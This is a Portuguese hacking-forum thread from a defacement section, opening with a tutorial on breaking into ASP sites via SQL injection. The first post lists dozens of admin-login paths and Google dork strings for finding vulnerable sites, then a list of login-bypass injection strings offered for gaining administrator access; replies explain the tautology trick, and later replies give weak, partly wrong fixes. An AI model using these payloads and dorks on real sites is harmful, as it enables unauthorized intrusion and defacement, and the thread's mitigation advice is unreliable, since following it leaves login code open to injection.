FORUM DARKERS

Segurança & Hacking => Defacement => Topic started by: Gothic_Souls on 22 de August , 2007, 05:17:14 PM

Title: SQL injection para os fins de dúvidas!
Post by: Gothic_Souls on 22 de August , 2007, 05:17:14 PM
Sites em asp na maioria é oque chamamos de SQL injetion para acessar o site indevidamente.
Porém muitos adm ja estão espertos com essas falhas.
Da qual botando uma string asp no google ou em algum scan, ele vai varrer e te dar supostos sites com as falhas.
Acessando aos links voce vai cair da parte de Logyn e Senha de Adm!.
Assim também sendo possivel se logar atráves de fraudes nos cookies, em breve irei fazer uma aula disso se ver que estão merecendo.

Abaixo uma lista de string para voce.
Quote/area_restrita/admin.asp

/area_restrita/login.asp

/area_restrita/index.asp

/acesso/admin.asp

/adm/default.asp

/login/index.asp

/webmaster/login.asp

/webadmin/default.asp

/webadmin/index.asp

allinurl:admin/index.asp

allinurl:admin/default.asp

allinurl:admin/admin.asp

allinurl:admin/login.asp

/cadastro/admin/

/portal/admin/

/site/admin/

/home/admin.asp

/home/admin/index.asp

/home/admin/default.asp

/menu/admin/admin.asp

/painel/admin/admin.asp

/painel/admin/login.asp

/painel/admin/index.asp

/painel/admin/default.asp

/site/admin/default.asp

/site/admin/index.asp

/site/admin/login.asp

/home/adm/login.asp

/home/adm/senha.asp

/home/adm/index.asp

/home/adm/defaul.asp

/menu/admin/index.asp

/shop/admin/login.asp

/ecommerce/admin/index.asp

/ecommerce/admin/default.asp

/ecommerce/admin/login.asp

/pedidos/admin/default.asp

/pedidos/admin/index.asp

/pedidos/admin/login.asp

/asp/admin/login.asp

/asp/admin/index.asp

/asp/admin/default.asp

/shop/admin/default.asp

/shop/admin/index.asp

/admin/entrar.asp

/admin/default.asp

/admin/index.asp

/admin/login.asp

/admin/password.asp

/admin/senha.asp

/login/login.asp

/adm/index.asp

/store/admin/index.asp

/stroe/admin/login.asp

/images/admin/

/client/admin.asp

/order/admmin.asp

/order/admin/index.asp

/order/admin/login.asp

/order/admin/default.asp

/admin/senha.asp

/webadmin/default.asp

/menu_admin/default.asp

/menu_admin/index.asp

/menu_admin/login.asp

/noticias/admin/

/news/admin/

/home/admin/login.asp

/web/admin/index.asp

/web/admin/default.asp

/web/admin/login.asp

/menu/admin/default.asp

/menu/admin/login.asp

/acesso/admin/default.asp

/acesso/admin/index.asp

/post/admin/default.asp

/post/admin/

/post/admin/index.asp

/post/admin/login.asp

/eshop/admin/

/eshop/admin.asp

/eshop/admin/default.asp

/eshop/admin/index.asp

/comercio/admin.asp

/comercio/admin/default.asp

/comercio/admin/index.asp

/compras/admin/

/clientes/admin/

/busines/admin/

/news/admin/login.asp

/news/admin/default.asp

/news/admin/index.asp

/imprensa/login.asp

/imprensa/admin.asp

/imprensa/admin/default.asp

/banner/admin/

/banner/admin/default.asp

/banner/admin/index.asp

/newsleter/admin.asp

/newsleter/admin/default.asp

/newsleter/admin/index.asp

/principal/admin.asp

/principal/admin/default.asp

/principal/admin/index.asp

/principal/admin/login.asp

/editar/admin.asp

/editar/admin/login.asp

/editar/admin/index.asp

/editar/admin/default.asp

/form/admin.asp

/admin/admin.asp

/admin/index.asp

/admin/admin/default.asp

/edit/admin/index.asp

/edit/admin/default.asp

/menu/admin/senha.asp

/painel/admin/senha.asp

/admin/admin/adm.asp

/admin/adm/senha.asp

/adm/admin/login.asp

/adm/admin/default.asp

/admin/loja/senha.asp

/admin/lojas/default.asp

/admin/lojas/index.asp

/loja/admin.asp

/db/admin/index.asp

/db/admin/login.asp

/menu_admin/senha.asp

/pedidos/admin/senha.asp

/principal/admin/senha.asp

/home/admin/senha.asp

/news/admin/senha.asp

/noticias/admin/senha.asp

/portal/admin/senha.asp

/site/admin/senha.asp

/db/admin/default.asp

/db/admin/senha.asp

/host/admin/default.asp

/host/admin/index.asp

/host/admin/login.asp

/login/admin.asp

/login_admin/index.asp

/login_admin/default.asp
/login_admin/login.asp

/store/admin.asp

/store/admin/default.asp

/imprensa/admin/index.asp

/imprensa/admin/login.asp

/banners/admin.asp

/banners/admin/default.asp

/banners/admin/index.asp

/banners/admin/login.asp

/strore/admin/senha.asp

/controle/admin.asp

/controle/admin/index.asp

/controle/admin/default.asp

/controle/admin/login.asp

/parceiros/admin.asp

/parceiros/admin/login.asp

/parceiros/admin/default.asp

/parceiros/admin/index.asp

/administrador/login.asp

/webmaster/login.asp

/webmaster/senha.asp

/webmaster/autenticar.asp

/admin/autenticar.asp

/admin/logout.asp

/admin/logar.asp

/webmaster/logar.asp

/store/admin/logar.asp

/shopping/admin.asp

/shopping/admin/login.asp

/shopping/admin/index.asp

/shopping/admin/default.asp

/admin/menu.asp

/admin/painel.asp

/shop/admin/logar.asp

/admin/acesso.asp

/restrito/admin.asp

/restrito/acesso/admin.asp

/restrito/adm/login.asp

/webmaster/entrar.asp

/admin/site/entrar.asp


Agora que voce ja conhece as strings, basta saber os códigos que voce poderá usar para se logar como administrador.
Segue a lista:


Quoteshell

root

admin

hi ' ou 1=1 --

hi ' ou ' a'='a

hi ') ou (' a'='a

hi") ou ("a"="a

admin ' - -

' ou 0=0 --

"ou 0=0 --

ou 0=0 --

' or ' 1

b' or ' 1='

' or '1

' or '|

' or 'a'='a

' or ''='

' or 1=1--

') or ('a'='a

' or '1'='1

' ou 0=0 #

"ou 0=0 #

ou 0=0 #

' ou ' x'='x

"ou" x"="x

') ou (' x'='x

"ou" a"="a

') ou (' a'='a

") ou ("a"="a

hi "ou" a"="a

hi "ou 1=1 --

' ou 1=1 --

"ou 1=1 --

ou 1=1 --

' ou a=a --

' ou 1=1 --

"ou 1=1 --

ou 1=1 --

' ou a=a --


Pronto, agora voce ja tem muita coisa para aprender SQL certinho :D

- Vou explicar para que serve esses códigos.

São comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.


Exemplo de string no Google:

(//http://img413.imageshack.us/img413/1420/sql1ma0.jpg)

(//http://img251.imageshack.us/img251/8374/sql2ju7.jpg)
Espero que tenho ajudado.

Até + e obrigado a todos.!

Darkers Team!
Title: Re: SQL injection para os fins de dúvidas!
Post by: Wuefez on 24 de August , 2007, 07:53:47 AM
AuhsUHsUhSUH
Foi no paint que você editou essas screenshots?

Quanta besteira..........

Você tem a minima noção porque o seu "codigo SQL super secreto" funciona?
QuoteSão comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.
Vou te dar uma palinha:

Tem o site, depois que você insere a informação no campo senha, o script server side do site da uma query no banco de dados para ver se essa informação confere, digamos que você colocou a senha ASDF, essa query para conferir a senha poderia ser algo como:
SELECT * FROM admin WHERE senha = 'ASDF';
Repare que dentro dos '    ' no fim, esta a informação que você colocou na senha, so que o site nao coloca uma \ slash ou verifica se existe algum tipo de inject na query, o que você pode fazer é adicionar seus proprios comandos dentro da query.

Se eu colocasse ASDF' OR 'x'='x' na senha, a query passaria a ser:
SELECT * FROM admin WHERE senha = 'ASDF' OR 'x'='x';Esse "super codigo secreto" que eu injetei, manda a query inicial dar true nao importa oq aconteça.

Mas ae valeu Darkers Team, o futuro do underground Brasileiro ta ai!
Title: Re: SQL injection para os fins de dúvidas!
Post by: keyhell on 25 de August , 2007, 03:07:58 AM
Realmente o cara fazer um tutorial sobe um assunto que não tem noção fica muito complicado...
E o Wuefez ainda se da ao trabalho de explicar!!!
Aonde fomos parar?
Abraços
Title: Re: SQL injection para os fins de dúvidas!
Post by: Gothic_Souls on 27 de August , 2007, 02:34:54 PM
Só foi uma ajuda para ajudar os novatos
sei que aqui no darkers não há quem liga mt pra esse assunto, mais fiz isso tudo na hora aqui só pra da um post sobre o assunto ja que nunca vi nenhum.
Não disse que com o codigo vc teria a mandando no site e assim podendo entrar, vc sabe mt bem que só se consegui se tiver vull.

Minha intenção foi ajuda, ja a sua eu não sei
Title: Re: SQL injection para os fins de dúvidas!
Post by: HadeS on 27 de August , 2007, 04:28:00 PM
Acredito que a intenção do Wuefez foi corrigir.

HadeS
Title: Re: SQL injection para os fins de dúvidas!
Post by: Gothic_Souls on 27 de August , 2007, 04:53:29 PM
Quote from: "HadeS"Acredito que a intenção do Wuefez foi corrigir.

HadeS

Tudo bem, eu sei que essa foi a intenção.
Só acredito que do jeito que ele se expressou, foi meio que ofendendo minha boa vontade de postar. Sacou?


Vai assunto acabado aqui. qualquer coisa MP
Title: Re: SQL injection para os fins de dúvidas!
Post by: Ðark$pawn on 28 de August , 2007, 08:59:34 AM
Quote from: "Wuefez"AuhsUHsUhSUH
Foi no paint que você editou essas screenshots?

Quanta besteira..........

Você tem a minima noção porque o seu "codigo SQL super secreto" funciona?
QuoteSão comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.
Vou te dar uma palinha:

Tem o site, depois que você insere a informação no campo senha, o script server side do site da uma query no banco de dados para ver se essa informação confere, digamos que você colocou a senha ASDF, essa query para conferir a senha poderia ser algo como:
SELECT * FROM admin WHERE senha = 'ASDF';
Repare que dentro dos '    ' no fim, esta a informação que você colocou na senha, so que o site nao coloca uma \ slash ou verifica se existe algum tipo de inject na query, o que você pode fazer é adicionar seus proprios comandos dentro da query.

Se eu colocasse ASDF' OR 'x'='x' na senha, a query passaria a ser:
SELECT * FROM admin WHERE senha = 'ASDF' OR 'x'='x';Esse "super codigo secreto" que eu injetei, manda a query inicial dar true nao importa oq aconteça.

Mas ae valeu Darkers Team, o futuro do underground Brasileiro ta ai!

Amigo Wuefez, agradeço pela contrtibuição no conteúdo, mas eu já te disse várias vezes cara, pega leve em seus comentários... ;)
Title: Re: SQL injection para os fins de dúvidas!
Post by: branco on 28 de August , 2007, 11:52:51 AM
"SELECT * FROM admin WHERE senha = 'ASDF';"

hmmm vc falou certo "poderia", porque na pratica nao pode..., se vc utilizar esse comando, qualquer usuario vai poder logar bastando apenas "adivinhar" uma senha, te do um exemplo como o orkut, se ele utilizasse essa query, pra logar com qualquer usuario bastaria eu digitar no campo "123456" ( com certeza alguem tem essa senha )

o "correto" seria,

Select * from admin where senha = 'asdf' and user='admin'

ou ainda,

select usuario from admin where senha = 'asdf'

espero que aprenda pra nao dar um vacilo desses na hora de fazer um site profissional, isso poderia facilitar muito um bruteforce, caso o site nao tenha tanta gente cadastrada pra conseguirmos adivinhar uma senha.

t+

obs : valew pelo tuto Gothic_Souls, sempre ajudando =]
Title: Re: SQL injection para os fins de dúvidas!
Post by: colt7r on 06 de September , 2007, 03:48:26 PM
Parabéns, excelente tópico. A matéria mais completa sobre SQL Injection que já vi em portugues.
Title: Re: SQL injection para os fins de dúvidas!
Post by: Gothic_Souls on 07 de September , 2007, 12:06:37 AM
O tutorial ficou bem simples, mais foi só para o pessoal entender como funciona o SQL injection de modo simples, possibilitando assim o fim das dúvidas simples que são a maioria delas!
Title: Re: SQL injection para os fins de dúvidas!
Post by: java_aly on 19 de September , 2007, 12:08:24 PM
Valew Gothic_Souls...
Eu saquei sua intenção,
e me deu uma luz
com relação a SQL injection!
Title: Re: SQL injection para os fins de dúvidas!
Post by: negralha on 12 de October , 2008, 06:38:32 PM
muito bom gostei meus  parabens
Title: Re: SQL injection para os fins de dúvidas!
Post by: Mateus on 12 de October , 2008, 08:46:46 PM
BAKA!

Não se ensina SQL Injection.

Um texto desses pra mim é uma ofensa à essa linda técnica.

Sua iniciativa é louvavel gothic_souls, é sempre bom produzir conteúdo, mas agente só deve escrever sobre assuntos que agente domina, qualquer idiota sabe que querer fazer um sql injection sem saber o mínimo de SQL é o mesmo que martelar um parafuso.
Title: Re: SQL injection para os fins de dúvidas!
Post by: Triplo X on 21 de December , 2008, 05:51:00 PM
Quote from: branco on 28 de August , 2007, 11:52:51 AM
o "correto" seria,

Select * from admin where senha = 'asdf' and user='admin'

ou ainda,

select usuario from admin where senha = 'asdf'

espero que aprenda pra nao dar um vacilo desses na hora de fazer um site profissional, isso poderia facilitar muito um bruteforce, caso o site nao tenha tanta gente cadastrada pra conseguirmos adivinhar uma senha.

t+

obs : valew pelo tuto Gothic_Souls, sempre ajudando =]

Bom, estou postando pois a última resposta tinha apenas uns 2 meses então...

Para não deixar que insiram campos OR após a cláusula WHERE, poderíamos adicionar um ";" (ponto-e-vírgula) no fim do select.
Eu costumo utilizar o ponto-e-vírgula para separar múltiplos select's em uma única consulta.

Mas aí ficaria aberta para injetar uma outra consulta, por exemplo, pois a primeira foi "fechada" com ponto-e-vírgula.

O jeito mesmo é checar como o Branco citou e ainda adicionar outros campos obrigatórios de sua preferência, como por exemplo, o campo Nome poderia ser do tipo UNIQUE.

Ao cadastrar usuários, crie um quadro com números aleatórios, como o de validação de imagens, só que com números, daí o usuário vai preenchê-lo e inserir no banco ao submeter o cadastro.

Daí quando fazer o login, estes números poderiam ser checados também, não importando se outro user possui os mesmos números (se é aleatório, acho difícil), pois o nome a ser checado é do tipo único.

Bom, esta é uma de muitas alternativas de evitar um injection simples em um campo de login.

[]s